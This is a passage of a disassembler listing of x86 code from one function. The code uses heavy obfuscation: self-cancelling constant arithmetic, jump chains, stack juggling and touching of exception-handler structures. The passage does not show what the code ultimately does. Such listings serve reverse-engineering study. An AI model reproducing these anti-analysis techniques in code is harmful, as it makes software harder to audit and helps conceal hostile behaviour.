

loc_5A1B26:				; CODE XREF: sub_57DD3A+1AAD4j
		xor	ebx, 0FA43C94h
		and	edi, ebx
		pop	ebx
		jmp	loc_599325
; ---------------------------------------------------------------------------


loc_5A1B34:				; CODE XREF: sub_57DD3A+24CB8j
		add	esp, 4
		jmp	loc_59673C
; ---------------------------------------------------------------------------


loc_5A1B3F:				; CODE XREF: sub_57DD3A+1B76Fj
		xchg	ecx, [esp+42h+var_42]
		jmp	loc_596CA4
; ---------------------------------------------------------------------------


loc_5A1B47:				; CODE XREF: sub_57DD3A+1620Dj
		mov	edx, 351913E6h
		and	edx, 6B8E6D78h
		add	edx, 78DA3D89h
		jmp	loc_594D35
; ---------------------------------------------------------------------------


loc_5A1B5D:				; CODE XREF: sub_57DD3A+16108j
		xor	eax, [esp+10h+var_12+2]
		pop	esp
		jmp	loc_591C0E
; ---------------------------------------------------------------------------


loc_5A1B66:				; CODE XREF: sub_57DD3A+12EB1j
		mov	ebp, [esp+58h+var_58]
		jmp	loc_5A2007
; ---------------------------------------------------------------------------


loc_5A1B6E:				; CODE XREF: sub_57DD3A+16BD6j
		push	69B5h
		mov	[esp+1Ch+var_1E+2], esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		jmp	loc_597355
; ---------------------------------------------------------------------------


loc_5A1B86:				; CODE XREF: sub_57DD3A+237B5j
		xor	[edi+24h], ecx


loc_5A1B89:				; CODE XREF: sub_57DD3A+1F768j
		push	eax
		mov	eax, esp
		push	5114h
		mov	[esp+18h+var_1A+2], ecx
		mov	ecx, 57A17DF6h
		push	ecx
		not	[esp+1Ch+var_1E+2]
		mov	ecx, [esp+1Ch+var_1E+2]
		add	esp, 4
		add	ecx, 72A2777h
		or	ecx, 0A524CF0h
		sub	esp, 4
		mov	[esp+1Ch+var_1E+2], edx
		mov	edx, 27F2025Ah
		and	ecx, edx
		pop	edx
		sub	ecx, 592C7F2Dh
		push	edx
		jmp	loc_59444D
; ---------------------------------------------------------------------------


loc_5A1BCC:				; CODE XREF: sub_57DD3A+215FCj
		shl	eax, cl
		push	esi
		mov	esi, 3B431D8Bh
		push	ebp
		mov	ebp, 697C1851h
		xor	ebp, 2AAA749Bh
		neg	ebp
		and	ebp, 28BF1C71h
		xor	ebp, 53D81770h
		or	esi, ebp
		pop	ebp
		push	esi
		inc	[esp+36h+var_36]
		mov	esi, [esp+36h+var_36]
		add	esp, 4
		sub	esi, 41C824ADh
		jmp	loc_599024
; ---------------------------------------------------------------------------


loc_5A1C06:				; CODE XREF: sub_57DD3A+1F7E0j
		xor	ebx, [esp+58h+var_58]
		mov	esp, [esp+58h+var_58]
		mov	[esp+58h+var_58], esi
		mov	esi, 7C892572h
		jmp	loc_596C3F
; ---------------------------------------------------------------------------


loc_5A1C19:				; CODE XREF: sub_57DD3A+22AA9j
		xor	[esp+58h+var_58], edx
		jmp	loc_5915A8
; ---------------------------------------------------------------------------


loc_5A1C21:				; CODE XREF: sub_57DD3A+1B492j
		push	edi
		mov	edi, esp
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+34h+var_36+2]
		pop	esp
		mov	[esp+30h+var_32+2], ebx
		jmp	loc_58F846
; ---------------------------------------------------------------------------


loc_5A1C48:				; CODE XREF: sub_57DD3A+12F50j
		sub	eax, ebx
		pop	ebx
		pop	ebp
		sub	eax, 1BD755ECh
		sub	eax, 447B2E29h
		sub	eax, edi
		add	eax, 447B2E29h
		add	eax, 1BD755ECh
		push	ebx
		mov	ebx, 24654958h
		shr	ebx, 3
		neg	ebx
		xor	ebx, 7894038Fh
		inc	ebx
		add	ebx, 0EC390B89h
		jmp	loc_5979FA
; ---------------------------------------------------------------------------


loc_5A1C7F:				; CODE XREF: sub_57DD3A+142BCj
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+6+var_8+2]
		jmp	loc_59BBDE
; ---------------------------------------------------------------------------


loc_5A1C90:				; CODE XREF: sub_57DD3A+2139Dj
		pop	ebp
		jmp	loc_58F4E0
; ---------------------------------------------------------------------------


loc_5A1C96:				; CODE XREF: sub_57DD3A+1829Bj
		push	ecx
		push	49085CAEh
		pop	ecx
		sub	edx, ecx
		mov	ecx, [esp+46h+var_46]
		jmp	loc_58E6AB
; ---------------------------------------------------------------------------


loc_5A1CA7:				; CODE XREF: sub_57DD3A+1A8D8j
		mov	ecx, esp
		jmp	loc_59AD81
; ---------------------------------------------------------------------------


loc_5A1CAE:				; CODE XREF: sub_57DD3A+1A60Bj
		xor	edi, [esp+2Eh+var_2E]
		mov	esp, [esp+2Eh+var_2E]
		movsx	ecx, ax
		push	edx
		push	11CCh
		push	esp
		pop	[esp+3Ah+var_3A]
		add	[esp+36h+var_36], 4
		jmp	loc_5A04BE
; ---------------------------------------------------------------------------


loc_5A1CCA:				; CODE XREF: sub_57DD3A+11653j
		push	edi
		jmp	loc_59013E
; ---------------------------------------------------------------------------


loc_5A1CD0:				; CODE XREF: sub_57DD3A+16C68j
		push	edi
		mov	edi, 5DC80715h
		sub	edi, 148EBB7Bh
		dec	edi
		sub	edi, 2444EEE3h
		and	esi, edi
		pop	edi
		jmp	loc_58EF35
; ---------------------------------------------------------------------------


loc_5A1CEB:				; CODE XREF: sub_57DD3A+119EEj
		pop	ebp
		jmp	loc_593492
; ---------------------------------------------------------------------------


loc_5A1CF1:				; CODE XREF: sub_57DD3A+21C8Fj
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_5A1CF6:				; CODE XREF: sub_57DD3A+1EAA5j
		xor	ebx, 0DE046444h
		add	edi, ebx
		pop	ebx
		jmp	loc_58E616
; ---------------------------------------------------------------------------


loc_5A1D04:				; CODE XREF: sub_57DD3A+1C1C8j
		add	eax, 6AA030B5h
		add	eax, 330619Bh
		sub	eax, 6D091426h
		add	eax, ebx
		add	eax, 6D091426h
		sub	eax, 330619Bh
		sub	eax, 6AA030B5h
		pop	ebx
		push	eax
		push	[esp+0Ch+var_8]
		pop	eax
		jmp	loc_5A2C91
; ---------------------------------------------------------------------------


loc_5A1D30:				; CODE XREF: sub_57DD3A+20D43j
		push	eax
		mov	ah, 9Ch
		shl	ah, 2
		push	edx
		mov	dh, 89h
		inc	dh
		xor	dh, 0F0h
		jmp	loc_598F2D
; ---------------------------------------------------------------------------


loc_5A1D43:				; CODE XREF: sub_57DD3A+107B6j
		add	ebp, 0DC0229Dh
		sub	ebp, 1957AD8Eh
		add	esi, ebp
		pop	ebp
		mov	edi, [esp+14h+var_16+2]
		push	edx
		push	esp
		pop	edx
		jmp	loc_594616
; ---------------------------------------------------------------------------


loc_5A1D5D:				; CODE XREF: sub_57DD3A+1798Bj
		push	40B8h
		mov	[esp+16h+var_16], ebp
		push	219F07DBh
		push	[esp+1Ah+var_1A]
		pop	ebp
		add	esp, 4
		push	ebx
		mov	ebx, 1FE8E982h
		jmp	loc_598980
; ---------------------------------------------------------------------------


loc_5A1D7C:				; CODE XREF: sub_57DD3A+12FE3j
		mov	[esp+54h+var_54], edi
		push	7E2C026Bh
		mov	edi, [esp+58h+var_58]
		jmp	loc_590E39
; ---------------------------------------------------------------------------


loc_5A1D8C:				; CODE XREF: sub_57DD3A+1812Fj
		xor	dh, cl
		pop	ecx
		push	eax
		mov	ah, 78h
		shl	ah, 7
		jmp	loc_5901A1
; ---------------------------------------------------------------------------


loc_5A1D9A:				; CODE XREF: sub_57DD3A+1EB40j
		sub	eax, 4
		xchg	eax, [esp+32h+var_32]
		jmp	loc_59BE04
; ---------------------------------------------------------------------------


loc_5A1DA5:				; CODE XREF: sub_57DD3A+14EE6j
		push	[esp+1Eh+var_1A]
		jmp	loc_59FE34
; ---------------------------------------------------------------------------


loc_5A1DAE:				; CODE XREF: sub_57DD3A+210B1j
		sub	esp, 4
		jmp	loc_592EFE
; ---------------------------------------------------------------------------


loc_5A1DB9:				; CODE XREF: sub_57DD3A+1ED96j
		xor	ecx, 64F46449h
		neg	ecx
		push	65D3h
		jmp	loc_5958DD
; ---------------------------------------------------------------------------


loc_5A1DCB:				; CODE XREF: sub_57DD3A+1E890j
		or	[edi+1Ch], eax
		pop	eax
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_5A1DD4:				; CODE XREF: sub_57DD3A+1ED20j
		mov	ebx, 694A4CF8h
		mov	edx, ebx
		pop	ebx
		add	eax, 45AB70EBh
		sub	eax, edx
		sub	eax, 45AB70EBh
		mov	edx, [esp+1Eh+var_1E]
		add	esp, 4
		push	edx
		mov	edx, esp
		push	edi
		mov	edi, 4
		jmp	loc_590B57
; ---------------------------------------------------------------------------


loc_5A1DFF:				; CODE XREF: sub_57DD3A+12EBCj
		xor	eax, 10626C5Ah
		pop	edx
		mov	ebx, eax
		pop	eax
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_5A1E0D:				; CODE XREF: sub_57DD3A+23AD4j
		pop	eax
		sub	ecx, esi
		pop	esi
		jmp	loc_59C67A
; ---------------------------------------------------------------------------


loc_5A1E16:				; CODE XREF: sub_57DD3A+2100Cj
		add	eax, ebp
		pop	ebp
		push	edi
		mov	edi, 0A9C5A52h
		push	esi
		mov	esi, 3CB4561h
		and	edi, esi
		pop	esi
		neg	edi
		jmp	loc_595D39
; ---------------------------------------------------------------------------


loc_5A1E2F:				; CODE XREF: sub_57DD3A+1FF14j
		mov	esi, [esp+42h+var_42]
		add	esp, 4
		sub	esp, 4
		mov	[esp+42h+var_42], ebx
		push	eax
		push	esp
		mov	eax, [esp+4Ah+var_4C+2]
		add	esp, 4
		jmp	loc_59FEFB
; ---------------------------------------------------------------------------


loc_5A1E4B:				; CODE XREF: sub_57DD3A+11571j
		mov	[esp+32h+var_32], esi
		not	[esp+32h+var_32]
		pop	esi
		add	esi, 689E397Fh
		sub	ebx, 56B06FE9h
		sub	ebx, 3AD41F2Fh
		add	ebx, esi
		add	ebx, 3AD41F2Fh
		jmp	loc_58FA9F
; ---------------------------------------------------------------------------


loc_5A1E71:				; CODE XREF: sub_57DD3A+1A213j
		pop	edx
		add	esp, 4
		or	cl, 0Ah
		sub	cl, 0FFh
		not	cl
		neg	cl
		and	cl, 14h
		push	eax
		mov	al, 0Ah
		xor	cl, al
		push	[esp+6+var_8+2]
		pop	eax
		add	esp, 4
		push	ecx
		jmp	loc_59EFE5
; ---------------------------------------------------------------------------


loc_5A1E97:				; CODE XREF: sub_57DD3A+253BFj
		xchg	ecx, ebx
		jmp	loc_599BD1
; ---------------------------------------------------------------------------


loc_5A1E9E:				; CODE XREF: sub_57DD3A+1C9A8j
		or	ecx, 7C431D5Eh
		xor	ecx, 51EB274Ah
		jmp	loc_593E0E
; ---------------------------------------------------------------------------


loc_5A1EAF:				; CODE XREF: sub_57DD3A+1D838j
		add	edx, 4
		jmp	loc_59E92C
; ---------------------------------------------------------------------------


loc_5A1EBA:				; CODE XREF: sub_57DD3A+1E684j
		pop	esp
		add	esi, eax
		pop	eax
		push	ebp
		mov	ebp, 2
		add	esi, 12E6568h
		add	esi, ebp
		sub	esi, 12E6568h
		pop	ebp
		xchg	esi, [esp+2Eh+var_2E]
		pop	esp
		pop	small word ptr [esp+2Ah+var_2A]
		sub	esp, 2
		mov	word ptr [esp+2Ch+var_2E+2], bx
		not	word ptr [esp+2Ch+var_2E+2]
		pop	bx
		jmp	loc_59BC18
; ---------------------------------------------------------------------------


loc_5A1EED:				; CODE XREF: sub_57DD3A+21189j
		pop	esp
		mov	[esp+3Eh+var_3E], edx
		sub	esp, 4
		mov	[esp+42h+var_42], ecx
		mov	ecx, 5B8D28E8h
		shl	ecx, 8
		xor	ecx, 4E7B2524h
		sub	ecx, 7449BDCAh
		and	ecx, 29E03777h
		xor	ecx, 900074Eh
		mov	edx, ecx
		pop	ecx
		add	edx, edi
		mov	eax, [edx]
		push	[esp+3Eh+var_3E]
		push	[esp+42h+var_42]
		pop	edx
		jmp	loc_5A30DD
; ---------------------------------------------------------------------------


loc_5A1F2A:				; CODE XREF: sub_57DD3A+131B7j
		pop	[esp+5Ch+var_5C]
		pop	esp
		mov	[esp+54h+var_54], esi
		mov	esi, 2C5A355Dh
		xchg	edx, esi
		not	edx
		xchg	edx, esi
		jmp	loc_594B21
; ---------------------------------------------------------------------------


loc_5A1F41:				; CODE XREF: sub_57DD3A+1D916j
		mov	[esp+40h+var_42+2], edx
		mov	dl, 8Bh
		sub	bl, dl
		jmp	loc_59D715
; ---------------------------------------------------------------------------


loc_5A1F4D:				; CODE XREF: sub_57DD3A+1DF18j
		sub	ebx, 1
		shl	ebx, 8
		add	ebx, 7B8A14DBh
		jmp	loc_59C182
; ---------------------------------------------------------------------------


loc_5A1F5E:				; CODE XREF: sub_57DD3A+193F0j
		xor	esi, 85679A42h
		jmp	loc_591207
; ---------------------------------------------------------------------------


loc_5A1F69:				; CODE XREF: sub_57DD3A+171BCj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+4Eh+var_50+2]
		jmp	loc_591BAB
; ---------------------------------------------------------------------------


loc_5A1F7A:				; CODE XREF: sub_57DD3A+1323Dj
		mov	ch, 0D8h
		neg	ch
		sub	ch, 33h
		jmp	loc_59BF78
; ---------------------------------------------------------------------------


loc_5A1F86:				; CODE XREF: sub_57DD3A+1F633j
		push	ecx
		mov	ecx, 63734E4Bh
		mov	esi, 0BFFBB818h
		add	esi, ecx
		pop	ecx
		and	edi, esi
		pop	esi
		push	eax
		push	ecx
		mov	ecx, 10BC295Bh
		mov	eax, ecx
		pop	ecx
		xor	eax, 356037EFh
		sub	eax, 1FBE64D2h
		and	eax, 45828AFh
		not	eax
		push	eax
		jmp	loc_59EC40
; ---------------------------------------------------------------------------


loc_5A1FB8:				; CODE XREF: sub_57DD3A+20C05j
		pop	esp
		mov	[esp+0], edx
		mov	edx, esp
		add	edx, 4
		sub	esp, 4
		mov	[esp+2+var_4+2], ebp
		push	edi
		push	272B1F54h
		pop	edi
		add	edi, 61512BC6h
		shr	edi, 4
		add	edi, 0F7783B53h
		mov	ebp, edi
		jmp	loc_59440B
; ---------------------------------------------------------------------------


loc_5A1FEA:				; CODE XREF: sub_57DD3A+1C315j
		or	ebx, edx
		pop	edx
		jmp	loc_59587D
; ---------------------------------------------------------------------------


loc_5A1FF2:				; CODE XREF: sub_57DD3A+19C6Bj
		and	ecx, ebp
		pop	ebp
		push	5D78h
		mov	[esp+6Ch+var_6C], ebp
		mov	ebp, 0FB21D8C2h
		jmp	loc_59539C
; ---------------------------------------------------------------------------


loc_5A2007:				; CODE XREF: sub_57DD3A+23E2Fj
		add	esp, 4
		jmp	loc_5947DE
; ---------------------------------------------------------------------------


loc_5A2012:				; CODE XREF: sub_57DD3A+14C9Fj
		pop	ebx
		add	ebx, 4
		jmp	loc_5A28D3
; ---------------------------------------------------------------------------


loc_5A201E:				; CODE XREF: sub_57DD3A+16F3Dj
		add	edx, 4
		add	edx, 4
		jmp	loc_5955C9
; ---------------------------------------------------------------------------


loc_5A202F:				; CODE XREF: sub_57DD3A+12DB8j
		mov	[esp+68h+var_68], eax
		mov	ah, 0C2h
		push	edx
		mov	dl, ah
		mov	cl, dl
		pop	edx
		pop	eax
		sub	al, cl
		jmp	loc_594516
; ---------------------------------------------------------------------------
		push	dword ptr fs:[edx]
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_5A204A:				; CODE XREF: sub_57DD3A+15725j
		mov	[esp+32h+var_32], esp
		add	[esp+32h+var_32], 4
		jmp	loc_58E74B
; ---------------------------------------------------------------------------


loc_5A2059:				; CODE XREF: sub_57DD3A+2052Fj
		pop	esp
		push	[esp+2Eh+var_2E]
		pop	eax
		push	edx
		mov	edx, esp
		jmp	loc_593B39
; ---------------------------------------------------------------------------


loc_5A2066:				; CODE XREF: sub_57DD3A+1CD38j
		mov	bl, 90h
		shr	bl, 3
		xor	bl, 0C2h
		shr	bl, 7
		shr	bl, 6
		jmp	loc_59D7F9
; ---------------------------------------------------------------------------


loc_5A2079:				; CODE XREF: sub_57DD3A+20635j
		pop	edi
		add	edi, 0DFA225Fh
		add	edi, 68CB2AC6h
		and	edi, 0DF94D9Fh
		add	edi, 13A9D69Fh
		mov	edx, edi
		pop	edi
		push	ecx
		mov	ecx, 227E4C5Fh
		add	eax, 69301A0Ch
		jmp	loc_594F3B
; ---------------------------------------------------------------------------


loc_5A20A5:				; CODE XREF: sub_57DD3A+1FA43j
		xor	edx, 6FFFA9E0h
		jmp	loc_58F18C
; ---------------------------------------------------------------------------


loc_5A20B0:				; CODE XREF: sub_57DD3A+175C4j
		push	[esp+60h+var_60]
		pop	ebx
		jmp	loc_59DF27
; ---------------------------------------------------------------------------


loc_5A20B9:				; CODE XREF: sub_57DD3A+18077j
		mov	edx, 54EC3D32h
		push	edx
		jmp	loc_590DA4
; ---------------------------------------------------------------------------


loc_5A20C4:				; CODE XREF: sub_57DD3A+1C971j
		add	ebx, 27CD35B8h
		push	edi
		mov	edi, 3FBE619Ch
		or	ebx, edi
		pop	edi
		jmp	loc_59A309
; ---------------------------------------------------------------------------
		lodsd
		sub	esp, 4
		jmp	loc_592502
; ---------------------------------------------------------------------------


loc_5A20E4:				; CODE XREF: sub_57DD3A+1070Cj
		pop	eax
		sub	esp, 4
		mov	[esp+0Ch+var_E+2], esi
		jmp	loc_592113
; ---------------------------------------------------------------------------


loc_5A20F0:				; CODE XREF: sub_57DD3A+12745j
		push	eax
		push	4899h
		mov	[esp+16h+var_16], edx
		jmp	loc_59C8B7
; ---------------------------------------------------------------------------


loc_5A20FE:				; CODE XREF: sub_57DD3A+20A56j
		add	al, 57h
		push	ecx
		jmp	loc_59C9D7
; ---------------------------------------------------------------------------


loc_5A2106:				; CODE XREF: sub_57DD3A+187E1j
		xor	edx, 1F171C69h
		sub	edx, 0AC01F59Fh
		add	edi, edx
		pop	edx
		push	ebx
		push	esi
		push	41415812h
		pop	esi
		xor	esi, 32719F6h
		add	esi, 16D1D582h
		mov	ebx, esi
		pop	esi
		shr	ebx, 4
		add	ebx, 2B87720Ch
		xor	ebx, 52B4CCD7h
		jmp	loc_59AE2D
; ---------------------------------------------------------------------------


loc_5A2140:				; CODE XREF: sub_57DD3A+1778Fj
		xchg	ebx, [esp+4Ah+var_4C+2]
		pop	esp
		jmp	loc_59EF48
; ---------------------------------------------------------------------------


loc_5A2149:				; CODE XREF: sub_57DD3A+1B877j
		push	edx
		mov	edx, 36974706h
		dec	edx
		sub	edx, 0D171985h
		add	esi, edx
		jmp	loc_598450
; ---------------------------------------------------------------------------


loc_5A215D:				; CODE XREF: sub_57DD3A+21D9Ej
		add	ebp, 4
		sub	ebp, 2
		xchg	ebp, [esp+1Eh+var_1E]
		pop	esp
		mov	word ptr [esp+1Ah+var_1A], bx
		jmp	loc_59D256
; ---------------------------------------------------------------------------


loc_5A2176:				; CODE XREF: sub_57DD3A+1F7D8j
		sub	ebx, edx
		mov	edx, [esp+26h+var_26]
		add	esp, 4
		push	[esp+22h+var_22]
		pop	edi
		jmp	loc_597C8D
; ---------------------------------------------------------------------------


loc_5A2187:				; DATA XREF: sub_57DD3A+10386o
		mov	ax, word ptr [esp+22h+var_22]
		push	6E88h
		mov	[esp+26h+var_26], eax
		push	esi
		push	esp
		jmp	loc_59370A
; ---------------------------------------------------------------------------


loc_5A219A:				; CODE XREF: sub_57DD3A+15D54j
		add	[esp+1Ch+var_1A+2], ebx
		pop	ebx
		mov	edi, [esp+18h+var_1A+2]
		add	esp, 4
		push	ecx
		jmp	loc_59A223
; ---------------------------------------------------------------------------


loc_5A21AE:				; CODE XREF: sub_57DD3A+209A3j
		xor	edx, 0F3EBDEF8h
		and	ecx, edx
		pop	edx
		jmp	loc_5990A7
; ---------------------------------------------------------------------------


loc_5A21BC:				; CODE XREF: sub_57DD3A+1C9EEj
		add	dh, 1
		push	ebx
		jmp	loc_59FF96
; ---------------------------------------------------------------------------


loc_5A21C5:				; CODE XREF: sub_57DD3A+1B728j
		mov	ecx, 82C4E5CAh
		sub	ecx, 659F596Ah
		sub	ecx, 76C902F8h
		add	ecx, ebp
		add	ecx, 76C902F8h
		add	ecx, 659F596Ah
		jmp	loc_593C34
; ---------------------------------------------------------------------------


loc_5A21E9:				; CODE XREF: sub_57DD3A+23942j
		sub	ebx, 0DEF2EE13h
		sub	ecx, ebx
		pop	ebx
		jmp	loc_598880
; ---------------------------------------------------------------------------


loc_5A21F7:				; CODE XREF: sub_57DD3A+1397Aj
		push	52DAh
		mov	[esp+2Eh+var_2E], ebx
		mov	ebx, 57FFF637h
		push	edi
		jmp	loc_5992C8
; ---------------------------------------------------------------------------


loc_5A220A:				; CODE XREF: sub_57DD3A+14BF2j
		mov	ebx, [esp+1Ah+var_1A]
		add	esp, 4
		push	[esp+16h+var_16]
		jmp	loc_59AFD3
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+1Ah+var_1A]
		push	0C94h
		mov	[esp+1Eh+var_1E], edi
		sub	esp, 4
		push	esp
		jmp	loc_59FDC0
; ---------------------------------------------------------------------------


loc_5A222D:				; CODE XREF: sub_57DD3A+1ACF5j
		pop	esi
		shl	ebp, 1
		shr	ebp, 2
		add	ebp, 0FFB3FFA4h
		mov	ebx, ebp
		jmp	loc_594A00
; ---------------------------------------------------------------------------


loc_5A2240:				; CODE XREF: sub_57DD3A+13987j
		shl	eax, 6
		dec	eax
		shl	eax, 6
		push	ebp
		push	esi
		mov	esi, 18F0282Bh
		jmp	loc_59572D
; ---------------------------------------------------------------------------


loc_5A2253:				; CODE XREF: sub_57DD3A+1D30Fj
		mov	ecx, 1DDB3106h
		add	dword ptr [esp+8], 1FE86CE9h
		sub	[esp+8], ecx
		jmp	loc_58ECF8
; ---------------------------------------------------------------------------


loc_5A2269:				; CODE XREF: sub_57DD3A+14CFEj
		add	eax, ecx
		add	eax, 1AF1184Ch
		jmp	loc_597DE3
; ---------------------------------------------------------------------------


loc_5A2275:				; CODE XREF: sub_57DD3A+11EF4j
		pop	esi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	esi
		mov	esi, 4
		sub	ecx, esi
		pop	esi
		xchg	ecx, [esp+18h+var_1A+2]
		mov	esp, [esp+18h+var_1A+2]
		mov	[esp+18h+var_1A+2], esi
		mov	esi, 19FE2CCAh
		jmp	loc_5951BB
; ---------------------------------------------------------------------------


loc_5A229B:				; CODE XREF: sub_57DD3A+21675j
		add	edx, ecx
		mov	ecx, [esp+58h+var_58]
		add	esp, 4
		jmp	loc_591583
; ---------------------------------------------------------------------------


loc_5A22A8:				; CODE XREF: sub_57DD3A+237E4j
		pop	eax
		add	eax, ebx
		push	[esp+2Ah+var_2A]
		pop	ebx
		add	esp, 4
		push	edx
		push	ecx
		push	1767419Dh
		pop	ecx
		push	ebx
		push	eax
		jmp	loc_59B2C7
; ---------------------------------------------------------------------------


loc_5A22C4:				; CODE XREF: sub_57DD3A+1F1BBj
		add	al, 0EBh
		jmp	loc_597643
; ---------------------------------------------------------------------------


loc_5A22CB:				; CODE XREF: sub_57DD3A+19AC4j
		and	esi, 476616FFh
		add	esi, 32F80035h
		mov	edi, esi
		pop	esi
		add	edx, edi
		pop	edi
		sub	edx, 18F27C33h
		sub	edx, edi
		add	edx, 18F27C33h
		sub	edx, 79F816D4h
		jmp	loc_5975B1
; ---------------------------------------------------------------------------


loc_5A22F6:				; CODE XREF: sub_57DD3A+18FCDj
		mov	edx, [esp+12h+var_12]
		add	esp, 4
		jmp	loc_59899A
; ---------------------------------------------------------------------------


loc_5A2304:				; CODE XREF: sub_57DD3A+13FD7j
		sub	edx, esi
		pop	esi
		sub	ebp, 71BE212Fh
		add	ebp, edx
		add	ebp, 71BE212Fh
		push	[esp-0Eh+arg_A]
		jmp	loc_598ACD
; ---------------------------------------------------------------------------


loc_5A231D:				; CODE XREF: sub_57DD3A+15F42j
		push	ecx
		jmp	loc_590227
; ---------------------------------------------------------------------------


loc_5A2323:				; CODE XREF: sub_57DD3A+1E5F4j
		mov	ebx, 5173488Fh
		shr	ebx, 6
		and	ebx, 7607418Fh
		not	ebx
		jmp	loc_5A0D4F
; ---------------------------------------------------------------------------


loc_5A2338:				; CODE XREF: sub_57DD3A+13A4Cj
		neg	ebx
		xor	ebx, 229C3AC7h
		push	esi
		mov	esi, 43C86798h
		shl	esi, 5
		xchg	ecx, esi
		inc	ecx
		xchg	ecx, esi
		push	ebp
		mov	ebp, 64331076h
		jmp	loc_59C4DD
; ---------------------------------------------------------------------------


loc_5A2359:				; CODE XREF: sub_57DD3A+1E98Ej
		mov	edx, [esp+2Ch+var_2E+2]
		add	esp, 4
		push	ebx
		sub	esp, 4
		mov	[esp+30h+var_32+2], edx
		mov	dl, 66h
		mov	bl, dl
		pop	edx
		jmp	loc_59DD7C
; ---------------------------------------------------------------------------


loc_5A2373:				; CODE XREF: sub_57DD3A+1961Fj
		mov	[esp+50h+var_50], esi
		mov	esi, 4
		add	edi, esi
		jmp	loc_594655
; ---------------------------------------------------------------------------


loc_5A2382:				; CODE XREF: sub_57DD3A+134F2j
		push	eax
		push	677Ch
		mov	[esp+4Ah+var_4C+2], ebx
		push	eax
		jmp	loc_5946E8
; ---------------------------------------------------------------------------


loc_5A2391:				; CODE XREF: sub_57DD3A+1FA59j
		or	eax, 5DB632C8h
		xor	eax, 0A0414D24h
		sub	ebp, eax
		mov	eax, [esp+6+var_8+2]
		jmp	loc_5A28E2
; ---------------------------------------------------------------------------


loc_5A23A5:				; CODE XREF: sub_57DD3A+11FE2j
		and	edx, 19C825BCh
		shl	edx, 2
		xor	edx, 351FC7C1h
		push	esi
		mov	esi, 6F030B69h
		add	ebp, esi
		mov	esi, [esp+18h+var_1A+2]
		add	esp, 4
		add	ebp, 2D55248Fh
		add	ebp, edx
		sub	ebp, 2D55248Fh
		sub	ebp, 6F030B69h
		jmp	loc_58F9CE
; ---------------------------------------------------------------------------


loc_5A23DB:				; CODE XREF: sub_57DD3A+1B8AAj
		pop	esi
		sub	edi, 43621C4Eh
		add	edi, ebp
		add	edi, 43621C4Eh
		pop	ebp
		xchg	edi, [esp+28h+var_2A+2]
		jmp	loc_592783
; ---------------------------------------------------------------------------


loc_5A23F3:				; CODE XREF: sub_57DD3A+231E3j
		pop	esi
		sub	esp, 4
		mov	[esp+10h+var_12+2], edi
		push	esi
		push	1966h
		mov	[esp+18h+var_1A+2], ebp
		push	esi
		mov	esi, 0CF86B4Ah
		mov	ebp, 0CF86B4Eh
		jmp	loc_59EAFA
; ---------------------------------------------------------------------------


loc_5A2413:				; CODE XREF: sub_57DD3A+13896j
		sub	al, dh
		sub	al, 75h
		push	[esp+8+var_8]
		pop	edx
		push	ecx
		push	91Bh
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+14h+var_16+2]
		pop	esp
		push	esp
		pop	[esp+14h+var_16+2]
		jmp	loc_59CE48
; ---------------------------------------------------------------------------


loc_5A243D:				; CODE XREF: sub_57DD3A+1DDBFj
		sub	eax, edx
		mov	edx, [esp+56h+var_58+2]
		add	esp, 4
		jmp	loc_593934
; ---------------------------------------------------------------------------


loc_5A244A:				; CODE XREF: sub_57DD3A+17922j
		neg	edi
		push	ecx
		mov	ecx, 0D285B4Eh
		add	ecx, 0E2A854C9h
		jmp	loc_58F915
; ---------------------------------------------------------------------------


loc_5A245D:				; CODE XREF: sub_57DD3A+1371Cj
		push	338Dh
		jmp	loc_59E1C4
; ---------------------------------------------------------------------------


loc_5A2467:				; CODE XREF: sub_57DD3A+10B4Bj
		push	edx
		jmp	loc_599550
; ---------------------------------------------------------------------------


loc_5A246D:				; CODE XREF: sub_57DD3A+1D489j
		add	ecx, 2A5537A4h
		pop	ebx
		jmp	loc_59521B
; ---------------------------------------------------------------------------


loc_5A2479:				; CODE XREF: sub_57DD3A+13E07j
		push	edi
		mov	edi, 4
		mov	ebp, edi
		pop	edi
		jmp	loc_5A13BA
; ---------------------------------------------------------------------------


loc_5A2487:				; CODE XREF: sub_57DD3A+13E97j
		mov	esi, esp
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		add	esi, 4
		xchg	esi, [esp+4Ah+var_4C+2]
		mov	esp, [esp+4Ah+var_4C+2]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_59188E
; ---------------------------------------------------------------------------


loc_5A24B8:				; CODE XREF: sub_57DD3A+12E82j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+58h+var_58]
		pop	esp
		mov	[esp+54h+var_54], ebp
		mov	ebp, 11E0207Bh
		add	esi, ebp
		mov	ebp, [esp+54h+var_54]
		add	esp, 4
		mov	edx, [esp+50h+var_50]
		jmp	loc_59CA5F
; ---------------------------------------------------------------------------


loc_5A24E0:				; CODE XREF: sub_57DD3A+14A16j
		pop	[esp+4Ch+var_4C]
		jmp	loc_59E8C0
; ---------------------------------------------------------------------------


loc_5A24E8:				; CODE XREF: sub_57DD3A+1BA86j
		push	edx
		jmp	loc_591DE1
; ---------------------------------------------------------------------------


loc_5A24EE:				; CODE XREF: sub_57DD3A+178B8j
		mov	bh, 33h
		mov	dl, bh
		push	[esp+54h+var_54]
		jmp	loc_5A2EE7
; ---------------------------------------------------------------------------


loc_5A24FA:				; CODE XREF: sub_57DD3A+219DBj
		mov	esp, [esp+12h+var_12]
		cmp	cl, al
		pushf
		jmp	loc_58EE1D
; ---------------------------------------------------------------------------


loc_5A2505:				; CODE XREF: sub_57DD3A+1B55Aj
		shr	ebp, 3
		or	ebp, 37B22878h
		push	esi
		mov	esi, 2F657FAFh
		or	ebp, esi
		pop	esi
		jmp	loc_59674F
; ---------------------------------------------------------------------------


loc_5A251C:				; CODE XREF: sub_57DD3A+21E67j
